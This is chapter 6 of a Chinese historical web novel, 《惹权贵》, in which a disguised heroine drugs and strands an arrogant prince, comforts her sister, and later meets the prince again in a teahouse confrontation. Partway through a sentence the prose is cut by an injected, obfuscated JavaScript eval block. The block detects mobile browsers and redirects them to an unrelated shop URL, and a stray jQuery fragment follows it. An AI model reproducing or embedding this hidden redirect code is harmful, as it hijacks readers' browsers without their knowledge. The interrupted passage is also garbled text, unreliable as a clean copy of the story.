6. 第 6 章
作品:《惹权贵》 江陵西街向来是鱼龙混杂之地,三教九流汇聚于此,既有行走江湖的侠客,也有来自西域的胡商。
若要探听消息,或是做些什么见不得光的买卖,此处便是最好的去处。
骆应枢此前早有耳闻,只是近日西街各处皆在疯传施家那桩丑事,走到任何地方都能听到几句闲言碎语。
他在最热闹的盛京楼喝了半盏茶,耳边被那些窃窃私语扰得心烦意乱,索性扔下银钱转身离开。
他游荡在街角巷尾,并无明确目的地。
与其说来此打听消息,不如说是寻点由头打发这难捱的光阴。
骆应枢一连几次被他们身上的香料呛到后,脸色越发难看,强压着心底的怒火,脚步一转,走入了一条僻静无人的小巷。
不料刚走出几步,忽觉脑中一阵眩晕,眼前视线逐渐变得迷糊。
他暗道不妙,背靠着斑驳的墙面缓缓滑坐在地。
目光竭力地在四周环视一圈,模糊见到一蒙面女子站在暗处,只露出一双清亮眸子,有些熟悉,却怎么也想不起来在何处见过。
他挣扎着撑起身子想看清那道凤眸的主人,却发现浑身力气尽失,紧接着眼前一黑,彻底失去了意识。
林景如站在远处,冷眼看着骆应枢整个人慢慢瘫软在地。
面纱下,她唇角勾起一抹讥诮,一如她猜想那般,骆应枢秉性自大,不屑身边有侍卫跟随。
她慢慢靠近对方,自袖间抽出一柄巴掌大的匕首。
俯身蹲在他面前,冰凉的刀刃若有似无地擦过他俊美的侧脸,最终稳稳横在了那毫无防备的脖颈之上。
这是一条死胡同,此举林景如根本不必担心有人忽然出现。
她常在此行走,自然知道哪里能寻到效力恰好的迷香,也懂得如何用最不引人戒备的方式,让人悄无声息地倒下。
只是她没料到,这位世子爷竟这般配合,自己寻了一个无人的地方倒下。
此刻只需手腕轻轻用力,就能让这位狂妄惹人厌烦的世子爷消失不见。
只是……若真如此,只会令她惹祸上身。
她垂眸端详这张近在咫尺的脸。
不得不承认,这位世子生得一副极好的相貌,剑眉浓密,鼻梁高挺,即便在昏迷中仍带着几分与生俱来的矜贵。
若非性子实在令人厌烦,想来倾心之人不在少数。
她定定地盯着他思虑良久,似在思考如何处置他。
最终,她缓缓收刀入袖,站起身来头也不回地往外走去。
待归家时,天色已晚,厨房飘出饭菜的香味,林清禾正在灶前忙活,目光时不时望向门口。
“阿兄怎得回来这么晚?”
林景如反身落下木栓,将手中的包袱随意搁在院中的石桌上,一边答道:“有些事耽搁了些时辰。”
说到被事情耽搁时,眉眼舒展,嘴角微微上扬,任谁看了都知她此刻心情颇好。
林清禾见此,虽不知她遇着了什么好事,却也跟着弯了眼眸,也不多问,只柔声催促:“那快去净手,饭菜马上备好了。”
林景如并未依言离开,反而坐在灶前,往灶膛里添了几把柴火。
跃动的火光映着她的侧脸,平添几分暖意。
林清禾见状,看向她那修长白净的双手,忍不住打趣:“阿兄这双手本该执笔挥毫,怎么还抢着做这些粗活?”
她站起身,自然地接过妹妹手中的小铲,唇角微扬。
“这双手能做许多事——握得住笔杆,也挥得动铲,自然也能……”话音稍顿,她左手轻点妹妹眉心,“教训该教训的人。”
林清禾不知其中深意,只当她在说自己,连忙笑着躲开,手下利落地将案板上的白菜切成均匀小段,顺势滑入锅中。
最后一道菜出锅,姐妹二人就着烛火用了晚膳。
饭后,林清禾仔细为阿兄换药,见伤口已结了一层薄痂,悬了多日的心终于稍稍落下。
可一想到那日场景,不安仍挥之不去。
当时阿兄满身伤痕的模样实在骇人,那股冰冷的恐惧至今仍未完全消散。
“阿兄……”她为林景如拢好衣衫,犹豫片刻,终是轻声试探,“我们……搬去别处可好?找个没人认识的地方,重新开始。”
屋内顿时静默,唯有烛火噼啪作响,将姐妹俩紧密相连的身影投在墙上。
林景如系衣襟的手微微一顿,随即了然。
她垂眸整理好衣衫,抬手轻抚妹妹柔软的发顶,动作温柔坚定,又带着几分安抚意味。
“我知那日让你受了惊吓,可天下之大,两个女子又能去往何处?”她的声音很轻,却带着看透世事的清醒。
“即便离开江陵,难道也要如寻常女子一般,寻个夫君相夫教子,在一方院落里困守一生?”
她不愿,更不忍妹妹如此。
若有可能,她希望妹妹永远不必被高墙束缚,无论闺阁之内还是天地之间,皆可随心而行。
林清垂眸望着手中的药瓶,心底泛起一丝懊恼。
她分明是最了解阿兄的志向,以往也是最支持她的那个人,可如今却站在她的对立面,劝解她离开耕耘多年的地方。
可是……
“我只有你了……阿兄。”
泪珠在她未曾察觉时悄然掉落,她慌忙抬手拭去,强扯出一抹笑容,目光灼灼地望向林景如,又重复了一遍:
“阿兄,我只有你了。”
不等林景如开口,又继续说道:“所以阿兄日后在外行走,定要万事小心。我会在家中等你,日日盼你平安归来。”
“这一点,你须得牢牢记住!”她抬手轻点自己额角,语气故作轻快。
说罢转身收拾起药匣,仿佛方才的脆弱从未发生。
林景如轻拍她的发顶,郑重许诺:
“好。”
闻言,林清禾展颜一笑,心下安定不少。
林景如让妹妹休息,自己则端起水盆推门而出,烛光在她身后摇曳,将身影衬得格外纤细。
她抬头望向半空中缀着的几簇零散星光,暗下决心。
——
翌日天色未明,林景如早早便出了门。
她坐在城
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917084|192531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墙不远处的一家早点铺子中,这个位置极其巧妙,即能将来往城门的人流尽收眼底,又能让自己隐在屋檐的阴影下,不易被察觉。
林景如双目紧紧盯着城门方向,右手搭在旧木桌上,指尖无意识轻叩,发出一阵沉闷的低响。
脸上虽无任何表情,但敲击声时快时慢,昭示着主人心底并不平静。
林景如在等,等骆应枢进城。
昨日归家前,她特意寻了几个过路商人,将昏迷的世子丢去了城外破庙。
按她估算的药效时辰,此刻他早该现身了,可左等右等,始终不见人影。
林景如蹙眉沉吟片刻,终于放下茶钱起身。
只是她并未直接回家,反倒而是转进附近一家茶楼,拣了个临窗的位子坐下。
窗外人声鼎沸,早点铺子飘来的香气混杂着小贩的叫卖,织成一幅鲜活的市井画卷。
林景如心中思绪飞远,直到被邻桌一阵低声交谈拉回神志。
“……不对不对,不是在城内……听闻他一醒来便在破庙之中,身上值钱物件皆数被洗劫一空,便是衣物,也没留下。”
她装作不经意向那边看了过去,只见自己对面那桌坐着三人,他们将头紧凑在一起,其中一瘦小男子压低声音如是道。
另一人却一脸不赞同:“怎么可能!不是说他武功高强?怎会轻易着道?”
他眉间长了颗黑痣,配上他那副表情,显得整个人实在滑稽。
“嘿,人外有人天外有天……”一直未开口的第三人啐了一口茶沫,不以为然道,“要我说,准是得罪了江湖上的高人!”
“可我怎么听说……”
“……”
不必细听,林景如便知他们谈论的是骆应枢。
她垂眸抿茶,唇角泛起一丝浅淡的笑意。
手中的青白茶盏在她手中慢慢翻转,杯底中的茶水漾开一圈圈波纹。
不知何时,茶楼里议论此事的人越聚越多。
有人见她这桌空着,径直坐了过来与他们搭起话。
很快,盛亲王世子被江湖高手惩治的消息便传得沸沸扬扬,连前些时日施家的丑闻都被压了下去。
无人知道骆应枢为何会身无一物地出现在野外荒庙之中,也不知他如何回来的。
他们只知,此事蹊跷。
骆应枢作为皇家血脉,身边高人无数,该如何避开这些高人悄无声息整治他?
也有人说是昔日亡于他手下冤魂相助,才让人这般轻易得手。
他们说的煞有其事,恍若亲见。
眼看面前这些人越说越离谱,林景如无心再继续旁听下去。
她算了算时辰,自己离家已有两个时辰有余,也该归家了。
正当她准备起身离开时,窗外陡然一阵骚动。
抬眼看去,就见骆应枢墨色鎏金劲装,正狠狠掐住一个路人的脖颈,直至那人脸色通红,呼吸逐渐变得困难,方才狠狠丢在地上。
林景如还不及回避,那道凌厉的目光已破空而来。
四目相对的刹那,空气仿佛迸出霹雳火光。

